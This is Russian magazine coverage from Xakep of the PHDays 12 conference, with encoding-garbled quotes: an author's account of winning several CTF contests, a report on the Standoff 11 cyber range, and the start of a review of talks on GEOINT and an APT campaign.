под клю чил ся к сети, прос каниро вал ее и нашел флаг пер вым. Вто рое
задание — со скры той сетью. К сожале нию, перех ватить наз вание по аутен- 
тифика циям не уда лось, ник то не под клю чал ся (и не был под клю чен к этой
сети), приш лось дей ство вать сог ласно заданию, где был CSV-файл
с 10 000 наз ваний сетей и хинт, что наша сет ка самая «нор маль ная». Приш- 
лось чуть-чуть попытать дан жен-мас тера и выяс нить, что под нор маль ностью
понима лась час тотность сим волов.

На кидав неболь шой скрип тик, я быс тро нашел в эфи ре скры тую сеть, под- 
клю чил ся к ней (пароль был в под сказ ке к заданию), нашел веб-сер вер с сот- 
ней ссы лок на ZIP-фай лы. Полови на запаро лена, вто рая — нет. В полови не
незапа ролен ных был оди нако вый рид ми. Этот же рид ми был в запаро лен ных
архи вах. Known-plaintext-ата кой за 40 минут уда лось сбру тить пароль.

Ос таль ные задания были на физичес кий поиск Wi-Fi-тран сля торов. Три
шту ки — на огромный павиль он Standoff. Пер вый я нашел без тру да, для дос- 
тупа ко вто рому приш лось нем ного пободать ся с охра ной, так как он был
в при ват ной зоне синих на Standoff. Тре тий, самый слож ный, был внут ри дру- 
гого CTF ( ), в малень кой ком нате с квес том, запись

на который была забита на часы впе ред. Приш лось пос тро ить глаз ки (при- 
менить социн женерию!) и поп росить ся вне оче реди на 15 секунд, что бы най- 
ти веща ющий девайс.

AI Track: Data Breakout

Итог: я занял пер вое мес то. Получил неверо ятно кру той фир менный рюк- 
зак PHDays 12, фут болку CTF и квад рокоп тер! Плюс вся кий мел кий лут — нак- 
лей ки, руч ки, блок ноты.

CTF с бан коматом  и  были к тому вре мени уже

в раз гаре. Дог нать сопер ников я уже не наде ялся. Но боль ше дру гих игру шек
меня манил . По завере нию орга низа- 

торов, это было про дак шен-решение, без явно го фла га, прос то с откры тым
баун ти. До меня ребята уже получи ли рутовый дос туп к аппа рату и надела ли
вся ких пакос тей. Но моей целью было най ти уда лен ную уяз вимость,
которая бы работа ла без физичес кого дос тупа к аппа рату.

$SNATCH IDS Bypass

êàñ ñîâûé àïïà ðàò «Àçáó êè âêó ñà»

Нем ного рас толкав под конец пер вого дня шко лоту и получив завет ные
пол часа с аппа ратом в рутовом режиме, я быс трень ко ска чал себе для даль- 
нейше го изу чения нес коль ко инте рес ных папок, отку да запус кались инте рес- 
ные служ бы.

К утру вто рого дня кон ферен ции я не спал уже сут ки, зато накатал два
репор та для «Азбу ки вку са». За них меня наг радили вмес те с дру гими дву мя
учас тни ками. Я получил мешок при зов и обе щание денеж ного воз награж- 
дения пос ле про вер ки репор тов.

А даль ше я ждал завет ных 16:00, ког да стар товал CTF , он

же «наливай ка». Я под готовил ся заранее — заб рониро вал слот, подой дя
к орга низа торам еще утром, а так же плот но под кре пил ся, что бы алко голь
хотя бы не сра зу уда рил в голову.

2drunk2hack

Нас было при мер но двад цать учас тни ков. В самом начале и каж дый раунд
(минут десять) мы ломали набор PHP-при ложе ний и пили гус тую текилу. Фла- 
гов было очень мно го. На сер вере работал WAF, который наказы вал штраф- 
ными шотами тех, кто излишне ста рал ся. К сожале нию, в пос леднем раун де я
выпал из трой ки лидеров и ока зал ся на шес том мес те. Получил фир менную
фут болку и неров ной поход кой отпра вил ся про ходить еще один CTF —
от ребят из .UserGate

По QR-коду здесь выдали ELF-бинар ник, который нуж но было сло мать
и написать кей ген. Я с обе да его кру тил-вер тел внут ри Radare2, пре рыва ясь
лишь на наг ражде ния и «наливай ку». Я закон чил про хож дение к семи вечера,
но орга низа торов, увы, на мес те уже не было. Приз упу щен.

Еще один CTF был с QR-кодами и раз ными аттрак циона ми в сво бод ной
зоне (бас кетбол, виде оиг ры и про чая ерун да). Ска ниро вание QR-кодов вело
к боту в Telegram, который начис лял очки. Очки мож но было обме нять на при- 
зы.

Тра тить на это вре мя было жал ко, но рядом ребята школь ного воз раста
рубились в игры, не обра щая вни мания ни на какие коды. Я сфо тог рафиро вал
пароч ку кодов, разоб рал их и заметил, что они стро ятся по понят ному прин- 
ципу. Оста валось сконс тру иро вать нуж ный URL и получить мак сималь ное
чис ло бал лов, что я и сде лал. А потом заб рал оче ред ные при зы.

Пос ледний CTF был доволь но спон танным и слу чил ся пря мо под конец
мероп риятия. Дело в том, что парал лель но шла ,

а пос ле нее намеча лась зак рытая афте пати. Для про хода на нее нуж но было
заранее получать нак лей ки по спис кам. Очень хотелось попасть и про дол- 
жить праз дник!

Moscow Python Conf ++

В получе нии нак лей ки по бла ту мне отка зали, но кое-кто под ска зал, что
некото рые заранее напеча тали себе фей ковые нак лей ки. У меня прин тера
с собой не было, да и под делка сти керов-про ходок — дело нехоро шее.
Приш лось вытянуть пол зунки наг лости на мак симум, най ти орга низа торов
и прой ти собесе дова ние с глав ным питонис том. Он взял мой бей дж, уви дел,
что я от жур нала «Хакер», гля нул на меня и ска зал: «По нему вид но, что он всю
жизнь на питоне фигачит» (он исполь зовал слег ка дру гое сло во). Так я
получил завет ный флаг, то есть нак лей ку, и пошел бухать с питонис тами.

Как ока зал ся в оте ле — не пом ню, но пос ле двух суток сна чуть не опоз дал
на самолет домой!

— Ген надий Ков шенин

ÈÒÎÃÈ

Мень ше андегра унда, боль ше мей нстри ма — так я сфор мулиро вал общий
тренд, замет ный на PHDays. Но я об этом говорю без лиш него воз дыхания
по «андегра унду» или през рения к «мей нстри му». Про исхо дит пере осмысле- 
ние индус трии ИБ и идей, которы ми она живет. Фор маты мероп риятий сле- 
дуют той же тен денции. Как мне кажет ся, любое дви жение — это хорошо.

Кон ферен ция Positive Hack Days живет, раз вива ется и осва ивает новые
горизон ты, прев раща ясь, по сути, в кибер фести валь. Да, изме нения есть,
и далеко не всем они приш лись по вку су, но всем не уго дить. Экспе римент
с переме щени ем в парк, на мой взгляд, был инте рес ным, хотя с пер вого раза
учесть все нюан сы и не уда лось.

PHDays объ еди няет и прив лека ет самых раз ных людей. Сот рудни ков круп- 
ных ком паний, гос слу жащих, матерых хакеров и начина ющих безопас ников,
а иног да и рядовых поль зовате лей. Инфо без сей час вол нует каж дого!

Кто при шел слу шать док лады, набирать ся зна ний и опы та, тот получил
дос туп к более чем сот не раз нооб разных темати чес ких выс тупле ний и живому
обще нию со спи кера ми. Кто-то при шел тусовать ся и общать ся со сво ими
кол легами — и тоже успешно спра вил ся с этой задачей. Ков бои кла виатур
рубились за циф ровое «Государс тво F» в зам ке Standoff, а у них под боком
про ходи ли сорев нования по тра дици онной «наливай ке», IDS Bypass и дру гие
кон курсы. В общем, каж дый в ито ге получил то, за чем при шел.

https://t.me/BugBountyRu/87
http://bugbounty.ru/
http://bugbounty.bi.zone/
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Па рал лель но с кон ферен цией Positive Hack
Days про ходит хакер ское сос тязание
Standoff, где учас тни ки сорев нуют ся в зах- 
вате или защите город ской инфраструк- 
туры. Город, который ждут ава рии и тех- 
ноген ные катас тро фы, — это все го лишь
макет, но хакер ские уме ния понадо бят ся
нас тоящие. В этой статье я рас ска жу о том,
как прош ли сорев нования Standoff, при уро- 
чен ные к PHDays 12.

×ÒÎ ÒÀÊÎÅ STANDOFF

Standoff — это в пер вую оче редь киберу чения. Коман ды ата кующих учат ся
луч ше взла мывать реаль но встре чающиеся в жиз ни сис темы, а коман ды
защит ников (SOC — Security Operation Center) — сво евре мен но и эффектив- 
но реаги ровать на дей ствия хакеров.

Пер вый Standoff в таком виде, как он есть сей час, сос тоял ся в 2016 году,
а в 2019-м он впер вые покинул пре делы Рос сии и про шел в Эми ратах. С тех
пор он про водит ся каж дый год, а с 2020 года — целых два раза еже год но:
вес ной как часть кон ферен ции PHDays и осенью как отдель ное сорев- 
нование.

Ма кет игро вого города F

Глав ная фиш ка Standoff, которая отли чает его от любых видов CTF-сорев- 
нований, — это игро вое окру жение. Тут нет оди нако вых сер висов, которые
надо защищать от дру гих игро ков, и нет олим пиад ных задач. Вмес то это го
у тебя есть целый город, который мож но ата ковать любыми мыс лимыми
метода ми!

«
»

«ß áû íå íàç âàë Standoff CTF’îì èç�çà òîãî, ÷òî îí íå ïîïàäà åò
íè ïîä îäíî åãî îïðå äåëå íèå. Ýòî ñêî ðåå íîâûé âèä ñîðåâ íîâàíèé
ïî êèáåð áåçîïàñ íîñòè, â êîòîðîì îñíîâíîé óïîð äåëà åòñÿ íà èìè- 
òàöèþ äåé ñòâèé çëî óìûø ëåííè êà ïðè àòà êå íà êîì ïàíèþ», — ó÷àñ òíèê
èç êîìàí äû Invuls

INFO

О том, что такое CTF и какими они быва ют, читай
в статье «

». О том, как орга низо- 
вать свой CTF, ты можешь узнать из статьи «

».

CTF: Capture the Flag. Как взлом стал
спор тивным сос тязани ем

Make
the Flag! Как сде лать свои сорев нования
для хакеров

В какой-то мере Standoff мож но наз вать симуля тором APT, толь ко слож ные
и мно гоуров невые ата ки силь но сжа ты во вре мени. Но это и хорошо, ведь
даже эти три-четыре дня дают ся игро кам нелег ко.

Сам город сущес тву ет в виде макетов — мож но круг лые сут ки сле дить
за ними онлайн или най ти их на PHDays в зоне Standoff. Если что-то слу чает- 
ся, это вид но и на макете. То есть, ког да ты пус каешь под откос поезд, он
по-нас тояще му схо дит с рель сов и ты можешь в пря мом эфи ре наб людать
за резуль татами сво их (и чужих) атак.

Объ ект водос набже ния

Все объ екты — это не прос то под делки под реаль ные сис темы, а нас тоящие
SCADA-кон трол леры, ана логич ные тем, что исполь зуют ся на реаль ных объ- 
ектах вро де заводов или сис тем очис тки воды. Такой под ход поз воля ет убить
двух зай цев сра зу: игро ки с обе их сто рон получа ют опыт, мак сималь но приб- 
лижен ный к реаль ному, а служ бы безопас ности потом смо гут защитить нас- 
тоящие пред при ятия от обна ружен ных атак.

ÍÎÂÛÉ ÃÎÄ, ÍÎÂÛÉ ÃÎÐÎÄ

В этом году учас тни ков  семь отраслей, которые есть прак тичес ки
в каж дом государс тве:

жда ли

бан ков ская сис тема — нес коль ко бан ков и пла теж ная сис тема с плас- 
тиковы ми кар точка ми и сис темой эквай рин га;

•

ме тал лопере раба тыва ющая про мыш ленность — метал лурги чес кий ком- 
бинат «Метал лиКО»;

•

ло гис тичес кая сис тема;•
ме нед жмент в лице управля ющей ком пании City (к ней отно силась в том
чис ле боль ница);

•

энер гетичес кая сис тема;•
атом ная про мыш ленность (была пред став лена атом ной стан цией);•
неф тегазо вая про мыш ленность.•

Ор ганиза торы выдали даже нас тоящие бан ков ские кар ты!

Где-то треть инфраструк туры была новой и на прош лых сорев новани ях
не встре чалась. Сре ди новинок: атом ная стан ция, боль ница, бан ков ская сис- 
тема и кар точки. Инфраструк туру метал лурги чес кой и неф тегазо вой ком- 
пании тоже серь езно изме нили, да и управля ющая ком пания не оста лась
преж ней. Забегая впе ред, ска жу, что все отрасли пос тра дали в ходе атак,
но некото рые объ екты ока зались нас толь ко боль шими, что ни одна коман да
не смог ла иссле довать их пол ностью.

ÐÅÀËÜÍÛÅ ÓÃÐÎÇÛ

Фак тичес ки на Standoff ата кующим пред став ляет ся воз можность сво ими
руками при кос нуть ся к самым важ ным объ ектам в жиз ни любого города —
от бан ка до атом ной стан ции. В реаль нос ти такие про дел ки закон чились бы
тюрь мой, но Standoff поз воля ет поп робовать зап ретный плод без вся ких рис- 
ков. Для тех, кому инте рес но, как это выг лядит изнутри, такие киберу чения —
иде аль ная воз можность.

«

»

«Âî âðå ìÿ ïåí òåñòîâ ðåàëü íîãî çàêàç ÷èêà íèê òî íå äàñò îñòà íîâèòü
êîëåñî îáîç ðåíèÿ èëè ñëî ìàòü àòîì íóþ ñòàí öèþ. Íà Standoff åñòü
âîç ìîæíîñòü äîé òè äî êîí öà: óêðàñòü äåíü ãè, íàðóøèòü ðàáîòó íåô- 
òåïåðå ðàáà òûâà þùå ãî çàâîäà èëè ìåòàë ëóðãè ÷åñ êîãî êîì áèíàòà.
Êðàñ íûì êîìàí äàì ýòî èíòå ðåñ íî: îíè ìîãóò ðåàëè çîâàòü áîëü øèíñ- 
òâî ñâî èõ çàäóìîê áåç êàêèõ�ëèáî îãðà íè÷å íèé», — Àíòîí Êàëèíèí,
ðóêîâî äèòåëü ãðóï ïû ýêñïåðòíî ãî îáó ÷åíèÿ è íàñ òàâíè ÷åñ òâà
Innostage

Мож но оста новить эту атом ную стан цию и не сесть в тюрь му

Ха керы не толь ко напада ют на инфраструк туру вир туаль ного города, но и
дол жны затем написать отчет, ина че не получить бал лы (всё как в жиз ни!).
Такие отче ты помога ют защит никам луч ше понять, что про исхо дит и как
бороть ся с такими ата ками в будущем.

ÍÅÄÎÏÓÑÒÈÌÛÅ ÑÎÁÛÒÈß

В Standoff есть так называ емые недопус тимые события — кри тич ные для биз- 
неса ситу ации, при воз никно вении которых ком пания-жер тва понес ла бы
убыт ки. Кро ме оче вид ных, вро де оста нов ки ядер ного реак тора или раз- 
ливания жид кого метал ла на работ ников завода, есть и менее зре лищ ные,
но не менее раз рушитель ные для биз неса: утеч ка дан ных кли ентов или рас- 
простра нение во внут ренней сети вируса-вымога теля.

Нуж но пра виль но офор мить каж дое недопус тимое событие и отпра вить
отчет орга низа торам — они под твер дят, что событие дей стви тель но про- 
изош ло, и помогут улуч шить отчет, если с ним что-то не так. Эти события
заранее опи саны, так что все коман ды находят ся в рав ных усло виях и не
могут получать бал лы за раз бушевав шуюся фан тазию. А жаль, ведь иног да
заранее опре делен ных рис ков не хва тает.

Век торы атак очень силь но напоми нают те, что встре чают ся в реаль ной
жиз ни: одни хакер ские груп пиров ки иног да исполь зуют наработ ки дру гих, и их
сов мес тная ата ка раз вива ется еще быс трее.

«

»

«Ïåð âîå íåäîïóñ òèìîå ñîáûòèå äàëîñü äîñ òàòî÷ íî ïðîñ òî: êàêàÿ�òî
èç êîìàíä âåç äå îòêëþ ÷èëà àíòè âèðó ñû íà ñèñ òåìàõ, êóäà ìîæ íî áûëî
äîá ðàòü ñÿ ÷åðåç ôèøèíã, è ýòî ïîìîã ëî íàì áûñ òðî ïîëó÷èòü äîñ òóï
âî ìíî ãèå ñåòè, âêëþ ÷àÿ City. À äàëåå ïî èñïîëü çîâàí íûì â ïðå äûäó- 
ùèõ Standoff âåê òîðàì ìû ïîëó÷è ëè äîñ òóï ê äîêóìåí òàì êîì- 
ïàíèè», — ó÷àñ òíèê èç êîìàí äû Invuls

«Ìû áûñ òðî ñîðè åíòè ðîâà ëèñü áëà ãîäà ðÿ îïû òó ïðå äûäó ùèõ
ñîðåâ íîâàíèé è ñ íàñ êîêó îñòà íîâè ëè ãèä ðîýëåê òðîñ òàíöèþ», — ó÷àñ- 
òíèê èç êîìàí äû DRT & Cult

ÑÎÐÅÂÍÎÂÀÍÈÅ

Хоть в этот раз Standoff был при уро чен к кон ферен ции PHDays (19–20 мая),
сама кибер битва началась на нес коль ко дней рань ше — 17 мая. За эти нес- 
коль ко допол нитель ных дней коман ды ата кующих успе ли иссле довать сеть
и зак репить ся на некото рых объ ектах.

«
»

«Ñ êàæ äûì ðàçîì îðãà íèçà òîðû è ñîç äàòåëè êèáåð ïîëèãî íà âíî ñÿò
èçìå íåíèÿ, óëó÷ øàÿ è îïòè ìèçè ðóÿ ïðî öåññ èãðû. Èíôðàñòðóê òóðà
Standoff ñòà ëà çàìåò íî ñòà áèëü íåå, òåõ ïîääåð æêà ñòà ëà ðàáîòàòü îïå- 
ðàòèâ íåå, ïîÿâè ëîñü ìíî ãî íîâûõ èíòå ðåñ íûõ íåäîïóñ òèìûõ
ñîáûòèé», — ó÷àñ òíèê èç êîìàí äû DRT & Cult

По ка ата кующие кру шили все на сво ем пути и устра ива ли недопус тимые
события одно за дру гим, дей ствия защит ников мож но опи сать все го одной
фра зой: «Они пытались». За то вре мя, пока коман ды хакеров офор мили уже
с десяток недопус тимых событий, защит ники смог ли рас сле довать все го
одно. В целом ничего уди витель ного в этом нет, пос коль ку и в реаль ной жиз- 
ни ата кующие обыч но силь но впе реди. Хотя, конеч но, грус тно, что луч шие
защит ники, даже в пол ной боевой готов ности, показы вают такие скром ные
резуль таты.

Впро чем, и коман ды ата кующих тоже вре мена ми огор чали: сра зу нес коль- 
ко команд сооб щили, что некото рые учас тни ки ведут себя агрессив но
и меша ют дру гим коман дам. Это зап рещено пра вила ми и наказы вает ся орга- 
низа тора ми, но, к сожале нию, иног да еще встре чает ся.

ÁÀÃÈ — ÑËÓ×ÀÉÍÛÅ È ÑÏÅÖÈÀËÜÍÛÅ

Луч шим дру гом и самым ненави димым вра гом команд хакеров стал новый
даш борд для сда чи отче тов: мало того, что фай рвол в начале игры прос то
забанил игро ков из нед ружес твен ных стран (орга низа торы быс тро испра вили
эту оплошность), так еще и сам даш борд чаще показы вал ошиб ку 404, чем
полез ную информа цию.

Стра ница, которая прес ледова ла всех игро ков

Тем не менее в целом сда вать отче ты ста ло куда при ятнее, чем в прош лые
годы, — прог ресс налицо!

Что каса ется самой вир туаль ной инфраструк туры, город F прев ратил ся
в самое нас тоящее государс тво с кон куриру ющи ми фир мами, глу бокой
связью меж ду раз ными объ екта ми и, конеч но, людь ми, которые ведут себя
поч ти как живые (а потому их мож но обма нуть!).

Имен но на соци аль ную инже нерию был сде лан основной упор в этот раз
(как, впро чем, и в прош лый). Мир меня ется, и чис то тех ничес кие взло мы
через SQL-инъ екцию на лен динге в реаль ном мире встре чают ся уже не так
час то, а пись ма с сюр при зом, наобо рот, пос тоян но набира ют акту аль ность.
Орга низа торы учли это при пла ниро вании кибер полиго на, что бы мак сималь- 
но приб лизить все к дей стви тель нос ти. Кста ти, в рам ках это го Standoff имен- 
но через заражен ные пись ма уда лось про ник нуть в сети боль шинс тва объ- 
ектов, а в некото рые мес та вооб ще мож но было попасть толь ко через
фишинг.

Ре алис тичнос ти добав ляли и пери оди чес ки пада ющие сер висы, которые,
как и в обыч ной жиз ни, ник то не спе шил под нимать даже пос ле мас совых
сооб щений о проб леме. Но нуж но отдать дол жное оргам: в этот раз, в отли- 
чие от прош лых, тех поддер жка работа ла хорошо и заяв ки ста рались раз- 
бирать как мож но быс трее.

В общем, прог ресс оче виден: уже сей час десят ки команд со мно жес твом
учас тни ков могут играть, не опа саясь того, что сер вис упа дет из-за косого
взгля да. При этом неболь шая доля сюр при зов все рав но оста ется.

ÏÀÌßÒÍÛÅ ÌÎÌÅÍÒÛ

Мы поп росили коман ды наз вать самый вол нующий момент за весь Standoff.
Вот что они ска зали:

«

»

«Â ïîñ ëåäíèå ìèíóòû ñîðåâ íîâàíèÿ íà ïîð òàëå, ïðåä íàçíà ÷åí íîì
äëÿ îòïðàâ êè îò÷å òîâ î ðåàëè çàöèè íåäîïóñ òèìûõ ñîáûòèé, ïåðåñ òàëà
íàæèìàòü ñÿ êíîï êà „Îòïðà âèòü îò÷åò“. Áàë ëû çà íåãî ïîòåí öèàëü íî
ìîã ëè ïîâ ëèÿòü íà ðåçóëü òàòû íàøåé êîìàí äû, íî âñå îáîø ëîñü», —
ó÷àñ òíèê èç êîìàí äû DRT & Cult

«Äîëü øå âñå ãî òÿíóëèñü ïîñ ëåäíèå äâàä öàòü ìèíóò è ÷åòûðå ÷àñà
ïîñ ëå çàê ðûòèÿ ñåòè, ïîêà ïîä âîäèëè èòî ãè, — òîëü êî òîã äà ìû
ïîíÿëè, ÷òî íå çàìåòè ëè íåñ êîëü êî âàæ íûõ áèç íåñ�ðèñ êîâ, êîòîðûå
ìîã ëè ïðè íåñ òè íàì áàë ëû», — ó÷àñ òíèê èç êîìàí äû Bulba Hackers

«Ñàìûì çàõ âàòûâà þùèì ìîìåí òîì ó íàñ îêà çàë ñÿ ïîä áîð ïàðîëÿ
ê îäíî ìó èç óñòðîé ñòâ: ìû ïûòàëèñü ïîäîá ðàòü ïàðîëü ñ ðàç íûìè
ñëî âàðÿ ìè óæå äâà ÷àñà è òîëü êî òîã äà ñëó ÷àé íî íàø ëè íóæ íûé íàì
ñëî âàðü», — ó÷àñ òíèê èç êîìàí äû Invuls

Продолжение статьи →

mailto:brutsky@glc.ru
https://xakep.ru/2016/06/14/ctf/
https://xakep.ru/2021/01/13/mtf/
https://standoff365.com/event


STANDOFF 11
КАК ПРОШЛИ СОРЕВНОВАНИЯ ПО ВЗЛОМУ

ГОРОДА

COVERSTORY  НАЧАЛО СТАТЬИ←

ÎÔËÀÉÍ

Ко ман ды мог ли учас тво вать в Standoff как очно, так и уда лен но.

Codeby мир но раз носит полигон

Ин форма ции, что это за коман да, не сох ранилось

Ма кет города-государс тва F

Мно го вни мания прив лекал макет города-государс тва F, который стал жер- 
твой атак учас тни ков Standoff. И неуди витель но: в сред нем каж дые две над- 
цать минут в городе про исхо дило какое-то недопус тимое событие, так что
наб людать было за чем.

Codeby уро нили мор ской кон тей нер

Вот, нап ример, пос ледс твия ата ки на мор ской порт: взло мав панель управле- 
ния кра ном, коман да Codeby смог ла уро нить кон тей нер — слу чись такое
в реаль нос ти, ком пания понес ла бы огромные убыт ки.

Alert!

Каж дый раз, ког да учас тни ки Standoff офор мля ли отчет о недопус тимом
событии, на экра не вспы хива ло уве дом ление. За эти нес коль ко дней оно
появи лось целых 204 раза! Но хакеры смог ли реали зовать толь ко 64 уни каль- 
ных недопус тимых события из 148 пре дус мотрен ных, так что сле дующий раз
обе щает быть не менее инте рес ным.

Там хакеры!

К сожале нию, основная дви жуха PHDays прош ла мимо учас тни ков Standoff:
переры вы были пре дус мотре ны толь ко на ночь, и единс твен ный шанс
погулять по пло щад ке при сутс тву ющим учас тни кам сорев нований выдал ся
толь ко на наг ражде нии.

ÍÀÃÐÀÆÄÅÍÈÅ

Ког да-то в Codeby заяв ляли, что хотят стать трех крат ными победи теля ми
Standoff, но прев зошли сами себя и на Standoff 11 побеж дают уже чет вертый
раз под ряд!

Пя тер ка лидеров

Боль шинс тво команд учас тво вали дис танци онно, но некото рые все же смог ли
нас ладить ся победой на сце не, сре ди них Codeby и True0xA3.

Codeby забира ют при зы

True0xA3

Bulba Hackers — еще одна коман да, которая стре митель но набира ет скилл
и в этом году под нялась на пять позиций в таб лице, вой дя в топ-3. Говорю
об этом не без гор дости, потому что сам в ней сос тою.

Bulba Hackers

ÈÒÎÃÈ

Все учас тни ки сос тязания, с которы ми мне уда лось погово рить, ска зали, что
с удо воль стви ем пов торят этот опыт. Орга низа торам уда лось в оче ред ной
раз покорить сер дца хакеров, а зна чит, сле дующе му Standoff быть и он ста нет
не менее инте рес ным, чем этот.

«

»

«Ýòîò Standoff ïîë íîñòüþ îïðàâäàë íàøè îæè äàíèÿ: äëè òåëü íàÿ
è èçíó ðèòåëü íàÿ ïîä ãîòîâ êà ïîë íîñòüþ îïðàâäà ëàñü», — ó÷àñ òíèê
èç êîìàí äû DRT & Cult

«Õî÷ó ñêà çàòü, ÷òî â öåëîì íàì âñå î÷åíü ïîí ðàâèëîñü. Îãðîìíîå
ñïà ñèáî îðãà íèçà òîðàì çà âåñü ýòîò ïðî åêò — çà íèì áîëü øîå
áóäóùåå», — ó÷àñ òíèê èç êîìàí äû Codeby

«Â ïåð âûé ðàç ìû ðåøèëè ó÷àñ òâî âàòü ïîòîìó, ÷òî äî ýòî ãî óâè- 
äåëè ñòåíä è ïîíÿëè, ÷òî ýòî áóäåò âåñåëî. Îæè äàíèÿ ïîë íîñòüþ
îïðàâäà ëèñü, è ìû áóäåì ó÷àñ òâî âàòü ñíî âà!» — àíî íèì íûé ó÷àñ òíèê

Аф тепати

Ког да основная кибер битва закон чилась, коман ды хорошо отор вались
на афте пати. Но сидеть сло жа руки они не намере ны: как минимум одна
коман да сра зу же начала под готов ку к сле дующе му Standoff, который дол жен
прой ти в кон це года. Готовить ся мож но на пло щад ке  — полигон
там под держи вает ся в акту аль ном сос тоянии, а пра вила мак сималь но приб- 
лижены к основно му Standoff, так что учас тво вать пос ле тре ниров ки там будет
про ще.

Standoff 365

«
»

«Íàøà êîìàí äà áûëà áîëü øå âñå ãî óäèâ ëåíà ïîä ãîòîâ êîé äðó ãèõ
êîìàíä: ìû íå ó÷ëè, ÷òî ìíî ãèå êîìàí äû (íå òîëü êî òîï-5) äîñ òàòî÷ íî
ñèëü íî ãîòîâè ëèñü â òå÷åíèå ýòî ãî ãîäà», — ó÷àñ òíèê èç êîìàí äû
Invuls

В целом один надца тый Standoff стал логичес ким про дол жени ем девято го
и десято го, толь ко луч ше. Проб лемы с сетью испра вили, сер висы тоже ста ли
куда устой чивее. Для сох ранения былых ощу щений остался раз ве что глюч- 
ный даш борд. К тому же игра ста ла обширнее, появи лись новые объ екты
и новые недопус тимые события.

Этот Standoff оста вил очень положи тель ные впе чат ления у учас тни ков, так
что есть все осно вания полагать, что к сле дующе му разу Positive Technologies
пос тара ется уди вить нас еще боль ше. Если тебя заин тересо вало учас тие —
начинай готовить ся, изу чай отче ты дру гих команд, и до встре чи на сле дующей
бит ве!

https://range.standoff365.com/
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COVERSTORY

Кон ферен ции — это для меня в пер вую
оче редь инте рес ные док лады, и PHDays
12 в этом пла не не под вел. Было стой кое
ощу щение, что надо успеть вез де, хоть
это и ока залось невоз можно — выс тупле- 
ния с прив лекатель ными темами неиз- 
менно перек рывали друг дру га по вре мени.
Хва ла орга низа торам: они вык ладыва ют
видео в пуб личный дос туп, и теперь мож но
схо дить на PHD, не вста вая с дивана.

INFO

Чи тай так же мой отчет с PHDays 12: «
».

Как хакеры
навод нили парк Горь кого

В этом году док лады были раз делены и про ходи ли в двух сто ящих рядом шат- 
рах. Один называл ся «Зал боевых искусств» (ата ка), дру гой — «Шко ла само- 
обо роны» (защита). Бур ные апло дис менты слы шались то тут, то там,
но наиболь ший ажи отаж все же царил в шат ре защиты. Там было не про тол- 
кнуть ся! В «Зале боевых искусств», начиная с середи ны пер вого дня, тол кучка
была замет но мень ше, хотя док лады тут тоже шли весь ма инте рес ные.

WWW

За писи док ладов ты можешь най ти как 
, так и .

на сай те
PHDays на YouTube

1. ÃÅÎÏÐÎÑÒÐÀÍÑÒÂÅÍÍÀß ÐÀÇÂÅÄÊÀ ÍÀ ÂÀØÅÌ ÐÀÁÎ×ÅÌ
ÑÒÎËÅ

 #OFFENSE• Ñåê öèÿ:

 Schwarz Osint, автор каналов  и • Ñïè êåð: @geoint @schwarz_osint

• Çà ïèñü äîê ëàäà

Со ветую пой ти и немед ленно ска чать  пре зен тацию это го загадоч- 
ного джентль мена в мас ке и очках. Зачем? Во-пер вых, это инте рес ный док- 
лад с необыч ной подачей. Во-вто рых, в фай ле есть куча ссы лок и QR-коды,
так что жаж дущим зна ний будет чем занять ся.

вот отсю да

« », — Schwarz Osint«На вещи надо смот реть шире»

Что осо бен но пон равилось в его выс тупле нии, так это дос тупность матери ала
даже для сов сем нес ведущих. Да и пос ледова тель ность подачи не поз волила
во всем этом хоть мало-маль ски запутать ся. Всё на сво их мес тах, бери
да вни кай: и что такое вооб ще GEOINT, и на какой глав ный воп рос отве чает
эта дис ципли на (спой лер: OSINT — «что?», GEOINT — «где?»), и какая
методо логия есть в арсе нале спе циалис тов и энту зиас тов. Пос тигнув эту дис- 
ципли ну, ты, нап ример, смо жешь понять, что про исхо дит в точ ке на кар те, где
было сде лано фото.

Спи кер щед ро отсы пал зна ний про область при мене ния GEOINT, показы- 
вал реаль ные кей сы и даже перечис лил популяр ные рабочие инс тру мен ты,
попут но упо миная их осо бен ности и область при мене ния.

« », — Schwarz Osint«Ана литик дол жен быть ленивым»

Тон кости работы с изоб ражени ями (да, метадан ные в 2023 году живее всех
живых, не поверишь), с виде оза пися ми (панора миро вание), со спе цифи чес- 
кими объ екта ми (горы, тени и про чее) и вагон иной инте рес ной информа- 
ции — все это спи кер умес тил в трид цать минут. Затем пос ледова ла
не менее инте рес ная часть отве тов на воп росы. Они гар монич но допол нили
сам док лад, поэто му не про ходи мимо.

Ес ли прос мотр записи при ведет тебя в вос торг, рекомен дую про дол жить
веселье и пос мотреть оба выс тупле ния Андрея Масало вича,
номера 8 и 9 в этом спис ке.

2. APT-ÌÀÃÈß Â ÇÎÍÅ ÐÎÑÑÈÉÑÊÎ-ÓÊÐÀÈÍÑÊÎÃÎ ÊÎÍÔËÈÊÒÀ

 #DEFENSE• Ñåê öèÿ:

 Геор гий Кучерин и Леонид Без вершен ко, «Лабора тория Кас- 

пер ско го»

• Ñïè êåðû:

• Çà ïèñü äîê ëàäà

«Обык новен ная магия», «облачный чародей», «корм для рыб», «все переп- 
летено»... Это не гла вы из новой кни ги о зна мени том вол шебни ке, а слай ды
к пла мен ному выс тупле нию двух спе циалис тов «Лабора тории Кас пер ско го».
Они рас ска зали детек тивную ИБ-исто рию с зак ручен ным сюжетом и неожи- 
дан ным финалом (да и финалом ли?).

Как это час то быва ет, все началось с целево го фишин га, при котором про- 
исхо дила рас сылка на пер вый взгляд легитим ного PDF-фай ла. Пер вая при- 
ман ка датиро вана аж 2021 годом, а основная вол на зараже ний началась уже
в сле дующем году. Геор гий и Леонид рас кры ли детали ата ки, разоб рали
на сос тавля ющие инстал лятор и обра тили вни мание слу шате лей на инте рес- 
ные нюан сы. Спой лерить не буду, но отме чу забав ный момент про наз вание
Powermagic (непос редс твен но вре донос) — его при дума ли зло умыш ленни ки,
наз вав так дирек торию, из которой работал злов ред.

Сле дующий этап док лада был пос вящен более слож ному имплан ту —
фрей мвор ку под наз вани ем Commonmagic.

Ана лиз Powermagic и Commonmagic не про яснил один доволь но важ ный воп- 
рос: какая имен но APT-груп пиров ка сто яла за ата ками? На помощь приш ли
кол леги из-за рубежа, помог ли поэтап но вос полнить про белы в информа ции.
Экспер ты Malwarebytes — одной из ком паний, поделив шихся сво им иссле- 
дова нием, — умуд рились даже некото рое вре мя сле дить за ата кующи ми.

« », — Malwarebytes
«In this case, attributing the attack to a specic country is not
an easy task»

Даль ше выс тупа ющие рас ска зали про новые угро зы и их новые име на, при- 
вели тех ничес кие раз боры нюан сов и объ ясни ли детали допущен ных зло- 
умыш ленни ками оши бок.

